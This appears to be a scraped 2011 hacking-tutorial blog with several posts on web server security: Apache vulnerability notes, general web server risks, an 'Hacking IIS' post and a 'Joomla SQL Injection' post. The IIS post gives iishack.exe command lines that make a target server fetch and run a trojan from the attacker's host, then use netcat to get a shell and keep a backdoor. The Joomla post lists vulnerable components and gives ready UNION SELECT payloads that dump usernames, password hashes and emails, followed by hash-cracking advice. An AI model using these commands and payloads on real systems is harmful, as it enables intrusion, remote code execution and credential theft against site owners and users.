<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231"><i class="emphasis">MSDOS device names cause DoS</i>: Apache versions before 2.0.44 on Windows do not correctly filter MS-DOS device names which can lead to denial of service attacks and remote code execution. This has been fixed in Apache httpd 2.0.44</span></span></div>
<div class="para">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231"><i class="emphasis">Apache can serve unexpected files</i>: On Windows platforms Apache could be forced to serve unexpected files by appending illegal characters such as '<' to the request URL. This has been fixed in Apache httpd 2.0.44</span></span></div>
<div class="para">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231"><i class="emphasis">Rewrite rules that include references allow access to any file</i>: The Rewrite module, mod_rewrite, can allow access to any file on the web server. The vulnerability occurs only with certain specific cases of using regular expression references in Rewrite Rule directives: If the destination of a Rewrite Rule contains regular expression references then an attacker will be able to access any file on the server. This has been fixed in Apache httpd 1.3.14</span></span></div>
</div>
</div>
<div style="text-align: justify;">
<br /></div>
<br /></div>

Apache DOS Hacking Hacking Tutorials Linux Tutorials Server Tutorials Vulnerability Hack Apache based Web Servers

Apache Vulnerability: Hack Apache based Web Servers Apache Vulnerability The Apache Week tracks the vulnerabilitie...

Popular Web Servers : Hacking Web Servers

11/27/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<div class="separator">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhe8Wsar8QnZKYzupW_QVFoFesAX_3SJrnOV2P3aV2ddmnmFtUCz5F4OUss3bwN7yBz0X6AhLLsmEBs2Ag_qBc43PegiUfPK4BesbYHE9oWQ5xGBlTE73t8cEAh6DMJBOSf1Oh1Or7X1eQ9/s1600/Server-Hacking.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="213" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhe8Wsar8QnZKYzupW_QVFoFesAX_3SJrnOV2P3aV2ddmnmFtUCz5F4OUss3bwN7yBz0X6AhLLsmEBs2Ag_qBc43PegiUfPK4BesbYHE9oWQ5xGBlTE73t8cEAh6DMJBOSf1Oh1Or7X1eQ9/s320/Server-Hacking.jpg" width="320" /></a></div>
<br />
The popular web servers are Apache Web Server, Internet Information Server and Sun ONE Web Server.<br />
The Apache Web Server is an open-source web server for modern operating systems including UNIX and Windows NT. The server provides HTTP services in sync with the current HTTP standards in an efficient and extensible environment.<br />
<br />
The Java Web Server / Sun ONE Web Server is one of the other highly available Web servers on the market. Microsoft's Internet Information Server is another popular server used by a sizable percentage of websites.<br />
<table border="0" cellpadding="0" cellspacing="0" class="note"><tbody>
<tr><td class="admon-check" valign="top"></td><td class="admon-title" valign="top" width="56"><br />
Threat</td><td class="admon-body" valign="top"><br />
<b class="bold">Common Security Risks</b><br />
<br />
Let us take a look at some of the security concerns that arise in the context of web servers. There are inherent security risks that affect web servers, the local area networks that host these web sites, and perhaps even the normal users of web browsers.</td></tr>
</tbody></table>
<br />
<div class="section" style="margin: 0px 27px; padding: 0px;">
<h4>
Webmaster's Concern</h4>
<br />
From a webmaster's perspective, the biggest security concern is that the web server can expose the local are network or the corporate intranet to the threats posed by the Internet. This may be in the form of virus, Trojans, hackers or compromise of information itself. It is often considered that software bugs present in large complex programs are the source of imminent security lapses. Web servers, being large complex devices do come with these inherent risks. Apart from this, the open architecture of some Web servers allows arbitrary scripts to be executed on the server's side of the connection in response to remote requests. Any CGI script installed at the site may contain bugs that are potential security holes.</div>
<br />
<div class="section" style="margin: 0px 27px; padding: 0px;">
<h4>
Network Administrator's Concern</h4>
<div class="first-para">
From a network administrator's perspective, a poorly configured web server poses another potential hole in the local network's security. While the objective of a web site is to provide controlled access to the network, too much of control can make a Web site impossible to use. In an intranet environment, the network administrator has to careful about configuring the web server such that legitimate users are recognized and authenticated and various groups of users assigned distinct access privileges.</div>
</div>
<div class="section" style="margin: 0px 27px; padding: 0px;">
<h4>
End User's Concern</h4>
<div class="first-para">
Usually the end user does not perceive any immediate threat, as surfing the web appears both safe and anonymous. However, active content, such as ActiveX controls and Java applets, makes it possible for harmful applications such as viruses to invade the user's system. Besides, active content from a web browser can be a conduit for malicious software to bypass the firewall system and permeate the local area network.</div>
<div class="last-para">
The threat for the end user stems from the fact that the TCP/IP protocol was not designed with security as its foremost priority. Therefore, data can be compromised in terms of confidentiality, authentication, and integrity as it is transmitted across the Web. In essence the aspects of confidentiality, authentication, and integrity need to be guarded both on the client side and server side to the extent possible.</div>
</div>
<div class="section" style="margin: 0px 27px; padding: 0px;">
<h4>
Risks</h4>
<div class="first-para">
There are basically three overlapping types of risk:</div>
<ol class="orderedlist">
<li class="first-listitem" style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;">  <div class="first-para">
Bugs /misconfiguration problems in the Web server that allow unauthorized remote users to:</div>
<ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin: 0.5em 0px; padding: 0px 2.5em;">
<li class="first-listitem" style="border-bottom: 1px none transparent; border-style: none; color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
Steal classified information.</div>
</li>
<li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
Execute commands on the server host machine and modifying the system.</div>
</li>
<li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
Retrieve host based information to assist them in compromising the system.</div>
</li>
<li class="listitem" style="border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
Launch denial-of-service attacks, rendering the machine temporarily unusable.</div>
</li>
</ul>
</li>
<li class="listitem" style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;">  <div class="first-para">
Browser-side risks</div>
<ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin: 0.5em 0px; padding: 0px 2.5em;">
<li class="first-listitem" style="border-bottom: 1px none transparent; border-style: none; color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
Active content that crashes the browser, damages the user's system, breaches the user's privacy, or merely creates a disturbance.</div>
</li>
<li class="listitem" style="border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
The misuse of personal information provided by the end-user.</div>
</li>
</ul>
</li>
<li class="listitem" style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;">  <div class="first-para">
Interception of network data sent from browser to server or vice versa via network eavesdropping. Eavesdroppers can operate from any point on the pathway between browser and server including:</div>
<ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin: 0.5em 0px; padding: 0px 2.5em;">
<li class="first-listitem" style="border-bottom: 1px none transparent; border-style: none; color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
The network on the browser's side of the connection.</div>
</li>
<li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
The network on the server's side of the connection (including intranets).</div>
</li>
<li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
The end-user's Internet service provider (ISP).</div>
</li>
<li class="listitem" style="border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
The server's ISP or regional access provider.</div>
</li>
</ul>
</li>
</ol>
</div>
</div>

Hacking Risks Server Vulnerability Popular Web Servers : Hacking Web Servers

The popular web servers are Apache Web Server, Internet Information Server and Sun ONE Web Server. The Apache Web Server is an open-so...

How Web Servers Work

11/24/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBohWpJpmpIWdoa1iO1WV6923oZxde69G_NubVR3Sa5pAn8vK6KBo9mQ56ZXoPMRsOeiRxnVt0ZCSyOlgtWoM0_ZnD71RuHNj_ne2xQ5A896KYcgNdWrA5hmf0QqRQyYbwDR_c6zW6kVrK/s1600/IC195330.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBohWpJpmpIWdoa1iO1WV6923oZxde69G_NubVR3Sa5pAn8vK6KBo9mQ56ZXoPMRsOeiRxnVt0ZCSyOlgtWoM0_ZnD71RuHNj_ne2xQ5A896KYcgNdWrA5hmf0QqRQyYbwDR_c6zW6kVrK/s320/IC195330.gif" width="295" /></a></div>
<br />
Let us take a look at the basic working of a web server. What happens when you type <a href="http://rahlabs.blogspot.in/p/contact-us.html">http://rahlabs.blogspot.in/</a><br />
in your browser?<br />
<ul>
<li>The browser differentiates the URL into three parts:<br />
<ol>
<li>The protocol ("<div class="highlight">
http</div>
")</li>
<li>The server name (<a href="http://rahlabs.blogspot.com/">rahlabs.blogspot.com</a>)</li>
<li>The file name ("<div class="highlight">
contact-us.html</div>
")</li>
</ol>
</li>
<li> The browser initiates the connection by communicating with a name server to translate the server name <a href="http://rahlabs.blogspot.com/">rahlabs.blogspot.com</a> into a valid IP Address.</li>
<li>It then uses this IP address to connect to the target web server machine.</li>
<li>The browser then establishes a connection to the web server at the specific IP address on port 80. This is the default port. (It can be any other port as well)</li>
<li> According to the HTTP protocol, the browser sends a GET request to the server, to retrieve the file "<a href="http://rahlabs.blogspot.in/p/contact-us.html">http://rahlabs.blogspot.in/p/contact-us.html</a>"</li>
<li>The web server then sends the HTML text for the particular Web page to the browser.</li>
<li>The browser reads the HTML tags and formats the page on the user's screen.</li>
</ul>
<br />
Other HTTP methods like POST, PUT, are used in subsequent communications if needed. The response from the server includes the HTTP response code suitable for the result of the request. In the case of successful data retrieval, an HTTP 200 OK response is generated. Other HTTP response codes exist: common ones include 404 Not Found, 403 Access Denied, and 302 Object Moved (often used to redirect requests to a login page to authenticate a user).<br />
<br />
<b></b><br />
<center>
<b>Popular Web Servers and Common Security Threats</b></center>
<br />
<ul>
<li>Apache Web Server</li>
<li>IIS Web Server</li>
<li>Sun ONE Web Server</li>
</ul>
<b>Bugs or Web Server Misconfiguration.</b><br />
<ul>
<li>Browser-Side or Client Side Risks.</li>
<li>Sniffing</li>
<li>Denial of Service Attack.</li>
</ul>
</div>

Linux Linux Tutorials OS Server How Web Servers Work

Let us take a look at the basic working of a web server. What happens when you type http://rahlabs.blogspot.in/ in your browser? The ...

Hacking IIS

11/21/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGWnj39bEwTIgiQpguaTS_CyfOb3JAtltv0JJa1j86ltv5w7N709cxJx4P1uyMQ1IhKF71aLeaenb4HHIWOfHY_Gb3ChoRymhOdVWrvEJzS7GDR_7JrGwPo7qemdU9LcRN97Dyy9oclT1k/s1600/unledusi.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGWnj39bEwTIgiQpguaTS_CyfOb3JAtltv0JJa1j86ltv5w7N709cxJx4P1uyMQ1IhKF71aLeaenb4HHIWOfHY_Gb3ChoRymhOdVWrvEJzS7GDR_7JrGwPo7qemdU9LcRN97Dyy9oclT1k/s640/unledusi.jpg" width="640" /></a></div>
<center>
<b>Hacking Tool: IISHack.exe</b></center>
<div class="highlight">
iishack.exe </div>
overflows a buffer used by IIS http daemon, allowing for arbitrary code to be executed.<br />
<div class="command wobble-horizontal">
iishack www.yourtarget.com 80 www.yourserver.com/thetrojan.exe </div>
<br />
<br />
<div class="highlight">
www.yourtarget.com </div>
is the IIS server you're hacking, <br />
<div class="highlight">
80 </div>
is the port its listening on, <br />
<div class="highlight">
www.yourserver.com </div>
is some webserver with your trojan or custom script (your own, or another), and <br />
<div class="highlight">
/thetrojan.exe </div>
is the path to that script.<br />
"<br />
<div class="system pop">
IIS Hack </div>
" is a buffer overflow vulnerability exposed by the way IIS handles requests with <br />
<div class="highlight">
.HTR </div>
extensions. A hacker sends a long URL that ends with "<br />
<div class="system pop">
.HTR </div>
". IIS interprets it as a file type of HTR and invokes the <br />
<div class="system pop">
ISM.DLL </div>
to handle the request. Since ISM.DLL is vulnerable to a buffer overflow, a carefully crafted string can be executed in the security context of IIS, which is privileged. For example, it is relatively simple to include in the exploit code a sequence of commands that will open a TCP/IP connection, download an executable and then execute it. This way, any malicious code can be executed.<br />
<br />
A sample exploit can be constructed as shown below:<br />
<br />
To hack the target site and attacker's system running a web server can use <br />
<div class="highlight">
iishack.exe </div>
and <br />
<div class="highlight">
ncx.exe </div>
.<br />
<br />
To begin with, the <br />
<div class="system pop">
ncx.exe </div>
is configured to run from the root directory. IIShack.exe is then run against the victim site.<br />
<div class="command wobble-horizontal">
c:\>iishack.exe  80 /ncx.exe</div>
<br />
<br />
The attacker can then use netcat to evoke the command shell. <br />
<br />
<div class="command wobble-horizontal">
c:\>nc  80</div>
<br />
<br />
He can proceed to upload and execute any code of his choice and maintain a backdoor on the target site.<br />
<br />
<h3>
IPP Buffer Overflow Countermeasures</h3>
<br />
<ol>
<li>Install latest service pack from Microsoft.</li>
<li>Remove IPP printing from IIS Server</li>
<li>Install firewall and remove unused extensions</li>
<li>Implement aggressive network egress filtering</li>
<li>Use IISLockdown and URLScan utilities</li>
<li>Regularly scan your network for vulnerable servers</li>
</ol>
Without any further explanation, the first countermeasure is obviously to install the latest service packs and hotfixes.<br />
As with many <br />
<div class="highlight">
IIS vulnerabilities</div>
, the IPP exploit takes advantage of a bug in an ISAPI DLL that ships with IIS 5 and is configured by default to handle requests for certain file types. This particular ISAPI filter resides in <br />
<div class="system pop">
C: \WINNT\System32\msw3prt.dll</div>
and provides <br />
<div class="highlight">
Windows 2000 </div>
with support for the IPP. If this functionality is not required on the Web server, the application mapping for this DLL to .printer files can be removed (and optionally deleting the DLL itself) in order to prevent the buffer overflow from being exploited. This is possible because the DLL will not be loaded into the IIS process when it starts up. In fact, most security issues are centered on the ISAPI DLL mappings, making this one of the most important countermeasure to be adopted when securing IIS.<br />
<br />
Another standard countermeasure that can be adopted here is to use a firewall and remove any extensions that are not required. Implementing aggressive network egress can help to a certain degree. With IIS, using <br />
<div class="highlight">
IISLockdown </div>
and <br />
<div class="highlight">
URLScan </div>
- (free utilities from Microsoft) can ensure more protection and minimize damage in case the web server is affected.<br />
Microsoft has also released a patch for the buffer overflow, but removing the <br />
<div class="system pop">
ISAPI DLL </div>
is a more proactive solution in case there are additional vulnerabilities that are yet to be found with the code.<br />
<br />
<h3>
ISAPI DLL Source disclosures</h3>
<br />
Microsoft IIS 4.0 and 5.0 can be made to disclose fragments of source code which should otherwise be in accessible. This is done by appending "<br />
<div class="highlight">
+.htr </div>
" to a request for a known .asp (or .asa, .ini, etc) file. appending this string causes the request to be handled by ISM.DLL, which then strips the '+.htr' string and may disclose part or all of the source of the .asp file specified in the request.<br />
IIS supports several file types that require server-side processing. When a web site visitor requests a file of one of these types, an appropriate filter DLL processes it. Vulnerability exists in ISM.DLL, the filter DLL that processes .HTR files. HTR files enable remote administration of user passwords. HTR files are scripts that allow Windows NT password services to be provided via IIS web servers. Windows NT users can use .HTR scripts to change their own passwords, and administrators can use them to perform a wide array of password administration functions. HTR is a first-generation advanced scripting technology that is included in IIS 3.0, and still supported by later versions of IIS for backwards compatibility. However, HTR was never widely adopted, and was superceded by Active Server Pages (ASP) technology introduced in IIS 4.0.<br />
<br />
<h3 style="border: none;">
Attack Methods</h3>
<br />
<h3>
Exploit / Attack Methodology</h3>
By making a specially formed request to IIS, with the name of the file and then appending around <br />
<div class="highlight">
230 + " %20 " </div>
(these represents spaces) and then appending "<br />
<div class="highlight">
.htr </div>
" this tricks IIS into thinking that the client is requesting a " .htr " file . The .htr file extension is mapped to the ISM.DLL ISAPI Application and IIS redirects all requests for .htr resources to this DLL.<br />
ISM.DLL is then passed the name of the file to open and execute but before doing this ISM.DLL truncates the buffer sent to it chopping off the .htr and a few spaces and ends up opening the file whose source is sought. The contents are then returned. This attack can only be launched once though, unless the web service started and stopped. It will only work when ISM.DLL first loaded into memory.<br />
"Undelimited .HTR Request" vulnerability: The first vulnerability is a denial of service vulnerability. All .HTR files accept certain parameters that are expected to be delimited in a particular way. This vulnerability exists because the search routine for the delimiter isn't properly bounded. Thus, if a malicious user provided a request without the expected delimiter, the ISAPI filter that processes it would search forever for the delimiter and never find it.<br />
If a malicious user submitted a password change request that lacked an expected delimiter, ISM.DLL, the ISAPI extension that processes .HTR files, would search endlessly for it. This would prevent the server from servicing any more password change requests. In addition, the search would consume CPU time, so the overall response of the server might be slowed.<br />
The second threat would be more difficult to exploit. A carefully-constructed file request could cause arbitrary code to execute on the server via a classic buffer overrun technique. Neither scenario could occur accidentally. This vulnerability does not involve the functionality of the password administration features of .HTR files.<br />
".HTR File Fragment Reading" vulnerability: The ".HTR File Fragment Reading" vulnerability could allow fragments of certain types of files to be read by providing a malformed request that would cause the. HTR processing to be applied to them. This vulnerability could allow a malicious user to read certain types of files under some very restrictive circumstances by levying a bogus .HTR request. The ISAPI filter will attempt to interpret the requested file as an .HTR file, and this would have the effect of removing virtually everything but text from a selected file. That is, it would have the effect of stripping out the very information that is most likely to contain sensitive information in .asp and other server-side files.<br />
The <br />
<div class="system pop">
.htr vulnerability </div>
will allow data to be added, deleted or changed on the server, or allow any administrative control on the server to be usurped. Although .HTR files are used to allow web-based password administration, this vulnerability does not involve any weakness in password handling.<br />
<div class="highlight">
Absent Directory Browser Argument vulnerability</div>
:<br />
Among the default HTR scripts provided in IIS 3.0 (and preserved on upgrade to IIS 4.0 and IIS 5.0) were several that allowed web site administrators to view directories on the server. One of these scripts, if called without an expected argument, will enter an infinite loop that can consume all of the system's CPU availability, thereby preventing the server from responding to requests for service.</div>

Hacking Hacking Tutorials IIS Server Tutorials Vulnerability Windows Server Hacking IIS

Hacking Tool: IISHack.exe iishack.exe overflows a buffer used by IIS http daemon, allowing for arbitrary code to be executed. iisha...

Joomla SQL Injection

11/18/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicAAa0HONNRv5Te0qHhRmSuQGnG9SAShrUX3eEOHb84FPR_wqvv-MrPJUrEHU5e5-XQv2ONahPu6qv3N-TcCdwIPF1uWxud2jbr5cGtJf68YfwkwMDfZtBPt5ctTUIojJlndJBWWCYtSkG/s1600/joomla+sqli.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Hack Joomla Websites" border="0" height="288" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicAAa0HONNRv5Te0qHhRmSuQGnG9SAShrUX3eEOHb84FPR_wqvv-MrPJUrEHU5e5-XQv2ONahPu6qv3N-TcCdwIPF1uWxud2jbr5cGtJf68YfwkwMDfZtBPt5ctTUIojJlndJBWWCYtSkG/s320/joomla+sqli.gif" title="Joomla SQL Injection" width="320" /></a></div>
The probably most common case for <br />
<div class="highlight">
hacked Joomla websites </div>
is that a SQL injection vulnerability was exploited. A typical URL which is affected by this type of vulnerability looks like this:<br />
<br />
<div class="program glow">
<pre><code class="prettyprint">index.php?option=com_blabla&category=5&Item=2</code></pre>
</div>
<br />
Typically the following parameters are vulnerable:<br />
<div class="content  shadow-radial">
- cat, category, kat, categories, kats, cats<br />
- id, userid, katid, catid<br />
- sometimes also Item, entry, page </div>
<br />
<br />
You can find out if a parameter is vulnerable when you change its value from e.g. <br />
<div class="system pop">
category=5 to category='</div>
.<br />
<br />
Press enter and look for <br />
<div class="system glow">
MySQL errors </div>
in the website. If you find one, you might have discovered a SQL inkjection vulnerability.<br />
<br />
In order to give you a better understanding and feeling of how vulnerable URLs might look like, I just show you some URLs which are known to be vulnerable (I discovered them):<br />
<br />
<div class="content shadow-radial" style="display: block;">
<div class="highlight">
URL: </div>
index.php?option=com_jp_jobs&view=detail&id=1<br />
<div class="highlight">
Vulnerable parameter: </div>
id</div>
<br />
<div class="content shadow-radial" style="display: block;">
<div class="highlight">
URL: </div>
index.php?option=com_mv_restaurantmenumanager&task=menu_display\Venue=XX&mid=XX&Itemid=XX<br />
<div class="highlight">
Vulnerable parameter: </div>
mid</div>
<br />
<div class="content shadow-radial" style="display: block;">
<div class="highlight">
URL: </div>
index.php?option=com_qpersonel&task=qpListele&katid=2<br />
<div class="highlight">
Vulnerable parameter: </div>
katid</div>
<br />
<div class="content shadow-radial" style="display: block;">
<div class="highlight">
URL: </div>
index.php?com_pandafminigames&Itemid=&task=myscores&userid=2<br />
<div class="highlight">
Vulnerable parameter: </div>
userid</div>
<br />
<div class="content shadow-radial" style="display: block;">
<div class="highlight">
URL: </div>
index.php?option=com_joltcard&Itemid=21&task=view&cardID=6<br />
<div class="highlight">
Vulnerable parameter: </div>
cardID</div>
<br />
<div class="content shadow-radial" style="display: block;">
<div class="highlight">
URL: </div>
index.php?com_bfquiztrial&view=bfquiztrial&catid=1&Itemid=62<br />
<div class="highlight">
Vulnerable parameter: </div>
catid</div>
<br />
<div class="content shadow-radial" style="display: block;">
<div class="highlight">
URL: </div>
index.php?com_golfcourseguide&view=golfcourses&cid=1&id=79<br />
<div class="highlight">
Vulnerable parameter: </div>
id</div>
<br />
<div class="content shadow-radial" style="display: block;">
<div class="highlight">
URL: </div>
index.php?option=com_nkc&view=insc&lang=en&gp=10<br />
<div class="highlight">
Vulnerable parameter: </div>
gp</div>
Notice how many parameters look familiar to you? Yes, I mentioned them earlier as well-known parameters which are affected on regular basis :)<br />
<br />
Since every Joomla database contains the same structure (like the same tables etc.), we know enough to inject a SQL statement:<br />
<br />
<h3>
Example #1:</h3>
<div class="content shadow-radial" style="display: block;">
index.php?option=com_qpersonel&task=qpListele&katid=XX+AND+1=2+UNION+\SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,concat(\username, password)--</div>
<br />
<h3>
Example #2:</h3>
<div class="content shadow-radial" style="display: block;">
index.php?option=com_pandafminigames&Itemid=&task=myscores&userid=XX+\AND+1=2+UNION+SELECT+concat(password),2,concat(password),4,5,6,7,\8,9,10,11,12--</div>
<br />
<h3>
Example #3:</h3>
<div class="content shadow-radial" style="display: block;">
index.php?option=com_jp_jobs&view=detail&id=1+AND+1=2+UNION+SELECT+\group_concat(0x503077337220743020743368206330777321,name,username,\password,email,usertype,0x503077337220743020743368206330777321)--</div>
<br />
The selected information will be shown within the website.<br />
Select a username and password from the table and try to crack the MD5 hash with the help of raindbow tables.<br />
<br />
SQL injections in Joomla give us so much freedom as we can get. You can select everything you want from the database, and if you are lucky, there are also other tables in the databases which do not belong to Joomla but still contain some very interesting information.</div>

Hacking Hacking Tutorials Joomla SQL Injection Tutorials Joomla SQL Injection

The probably most common case for hacked Joomla websites is that a SQL injection vulnerability was exploited. A typical URL which is a...